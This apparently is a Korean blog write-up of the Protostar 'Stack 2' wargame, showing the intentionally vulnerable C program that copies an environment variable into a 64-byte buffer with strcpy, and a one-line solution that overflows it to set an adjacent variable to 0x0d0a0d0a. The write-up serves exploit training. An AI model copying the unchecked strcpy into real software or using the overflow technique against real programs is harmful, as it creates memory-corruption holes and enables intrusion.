ABOUT ME

Today
Yesterday
Total
  • Protostar - Stack 2
    Wargame/Exploit-Exercises 2014. 5. 15. 14:29

    1. 문제 Source

    #include <stdlib.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>
    
    int main(int argc, char **argv)
    {
     volatile int modified;
     char buffer[64];
     char *variable;
    
     variable = getenv("GREENIE");
    
     if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
     }
    
     modified = 0;
    
     strcpy(buffer, variable);
    
     if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
     } else {
      printf("Try again, you got 0x%08x\n", modified);
     }
    
    }


    2. 풀이

    user@protostar:/opt/protostar/bin$ export GREENIE=`python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'"`
    user@protostar:/opt/protostar/bin$ ./stack2
    you have correctly modified the variable


    'Wargame > Exploit-Exercises' 카테고리의 다른 글

    Protostar - Stack 4  (0) 2014.05.15
    Protostar - Stack 3  (0) 2014.05.15
    Protostar - Stack 1  (0) 2014.05.15
    Protostar - Stack 0  (0) 2014.05.14
    Protostar 시작  (0) 2014.05.14
Designed by Tistory.